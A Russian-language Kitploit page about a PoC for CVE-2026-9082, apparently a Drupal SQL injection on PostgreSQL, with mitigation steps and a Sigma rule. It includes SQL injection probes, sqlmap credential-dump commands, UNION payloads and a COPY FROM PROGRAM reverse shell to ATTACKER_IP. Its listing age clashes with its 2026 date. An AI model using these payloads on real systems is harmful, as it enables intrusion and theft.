Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/lysophavin18/cve-2026-9082
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз Данных
GitHublysophavin18/cve-2026-9082

cve-2026-9082

CVE PoC

Репозиторий
43 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-9082

Тип: SQL-инъекция (CWE-89) Затронутый продукт: ядро Drupal (API абстракции базы данных) Уведомление Drupal: SA-CORE-2026-004 Опубликовано: 20 мая 2026 г. Критичность: высокая критичность (Drupal 20/25 | NVD CVSS 6.5)


Что это такое?

CVE-2026-9082 — это уязвимость SQL-инъекции в API абстракции базы данных ядра Drupal. Слой БД Drupal оборачивает PDO и очищает все запросы до того, как они достигнут базы данных. Эта уязвимость обходит указанную очистку только для бэкендов PostgreSQL — специально сформированные HTTP-запросы проскальзывают мимо логики нормализации и внедряют управляемые атакующим фрагменты SQL непосредственно в запросы к базе данных.

MySQL и MariaDB не затронуты данным вектором инъекции, хотя выпуск с исправлением также включает критические исправления Symfony/Twig, применимые ко всем бэкендам.


Затронутые версии

Предварительное условие: целевая система должна использовать PostgreSQL в качестве бэкенда базы данных.


Как это работает (технические детали)

Слой абстракции БД Drupal очищает значения с помощью параметризованных запросов и подготовленных выражений, но полагается на построитель запросов при формировании доверенного структурного SQL (имена полей, операторы, цели ORDER BY). Ошибка кроется в том, как драйвер PostgreSQL обрабатывает определённые входные паттерны при построении запросов — диалект SQL в PostgreSQL ключевым образом отличается от MySQL:

  • Конкатенация строк с помощью ||
  • Приведение типов с помощью ::
  • Долларовые кавычки (dollar-quoting)
  • Команда COPY ... FROM PROGRAM
  • Иная обработка операторов

Сформированный запрос вносит символы/последовательности, которые проходят очистку на уровне значений в Drupal, но интерпретируются парсером PostgreSQL как структурный SQL. Поверхность атаки доступна без аутентификации через любую конечную точку, передающую управляемые пользователем параметры в запросы к БД (поиск, фильтры представлений, отправка форм, JSON:API и т. д.).

Цепочка эксплуатации

root@kitploit:~
Attacker (unauthenticated)
  |
  |--> HTTP request with crafted parameter
  |    (e.g. search field, filter, form input)
  |
  v
Drupal DB Abstraction API
  |
  |--> Sanitization bypass (PostgreSQL-specific)
  |
  v
PostgreSQL executes injected SQL
  |
  |--> Information disclosure (dump entire DB)
  |--> Privilege escalation (inject admin credentials)
  |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)

Почему это опасно

  1. Аутентификация не требуется — уязвим любой сайт Drupal на PostgreSQL, доступный через интернет
  2. Потенциальное RCE — через COPY TO PROGRAM 'cmd', если пользователь БД обладает привилегиями суперпользователя
  3. Полный доступ к БД — учётные записи, хэши паролей, токены сессий, персональные данные (PII)
  4. Широкий диапазон версий — весь жизненный цикл Drupal 8/10/11
  5. Комбинированный риск — этот же патч закрывает SSTI в Twig; атакующий может выстроить цепочку SQLi → создание администратора → SSTI для RCE

Собственное предупреждение Drupal: «эксплойты могут быть разработаны в течение нескольких часов или дней после раскрытия информации» (что согласуется с историческими CVE уровня БД Drupal, такими как SA-CORE-2014-005 / Drupalgeddon).


Доказательство концепции (только авторизованное лабораторное тестирование)

Шаг 1. Определение потенциальных конечных точек

root@kitploit:~
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

Шаг 2. Обнаружение PostgreSQL-специфичной инъекции

root@kitploit:~
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

Шаг 3. Автоматизированное извлечение данных (sqlmap, авторизованное тестирование)

root@kitploit:~
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

Шаг 4. Ручное извлечение на основе UNION (концептуально)

root@kitploit:~
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2--  -- increment until error

-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--

-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

Шаг 5. RCE через COPY TO PROGRAM (если пользователь БД — суперпользователь)

root@kitploit:~
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

Меры по устранению

Немедленно: обновите Drupal

root@kitploit:~
# Composer (recommended)
composer update drupal/core drupal/core-recommended

# Verify version
php core/scripts/drupal --version

# OR via Drush
drush updb && drush cr

Укрепление базы данных

root@kitploit:~
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false

WAF (только временная мера — не заменяет установку патча)

Блокируйте паттерны: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--

Сеть

Убедитесь, что PostgreSQL принимает подключения только на localhost или частном интерфейсе и недоступен из интернета.


Сигналы обнаружения

Правило Sigma (обнаружение)

root@kitploit:~
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

Резюме

CVE-2026-9082 — это SQL-инъекция без аутентификации в ядре Drupal, нацеленная на бэкенды PostgreSQL. Несмотря на умеренный показатель NVD CVSS 6.5, Drupal оценивает её в 20/25 (высокая критичность): доступ без аутентификации + COPY TO PROGRAM в PostgreSQL = прямое RCE в неправильно настроенных средах. Широкий диапазон затронутых версий и включенные исправления SSTI в Twig делают это критически важным срочным обновлением для всех сайтов Drupal, особенно работающих на PostgreSQL и доступных из интернета.

Рекомендуемые действия: немедленно обновитесь до исправленной версии для вашей ветки. Убедитесь, что прикладной пользователь БД не является суперпользователем PostgreSQL.

Скачать инструмент
ВеткаУязвимые версииИсправленные версии
Drupal 10.4.x / 8.9.x8.9.0–10.4.910.4.10
Drupal 10.5.x10.5.0–10.5.910.5.10
Drupal 10.6.x10.6.0–10.6.810.6.9
Drupal 11.0.x–11.1.x11.0.0–11.1.911.1.10
Drupal 11.2.x11.2.0–11.2.1111.2.12
Drupal 11.3.x11.3.0–11.3.911.3.10
ИсточникСигнал
Журналы веб-сервераpg_sleep, ::, UNION SELECT, --, COPY PROGRAM в строках запросов
Журналы PostgreSQLОшибки синтаксиса, коррелирующие по времени с веб-запросами
Журнал Drupal (watchdog)Исключения БД из конечных точек search/view/jsonapi
auditdpostgres порождает дочерние процессы (COPY TO PROGRAM)
Таблица пользователей DrupalНовые строки роли administrator со свежими временными метками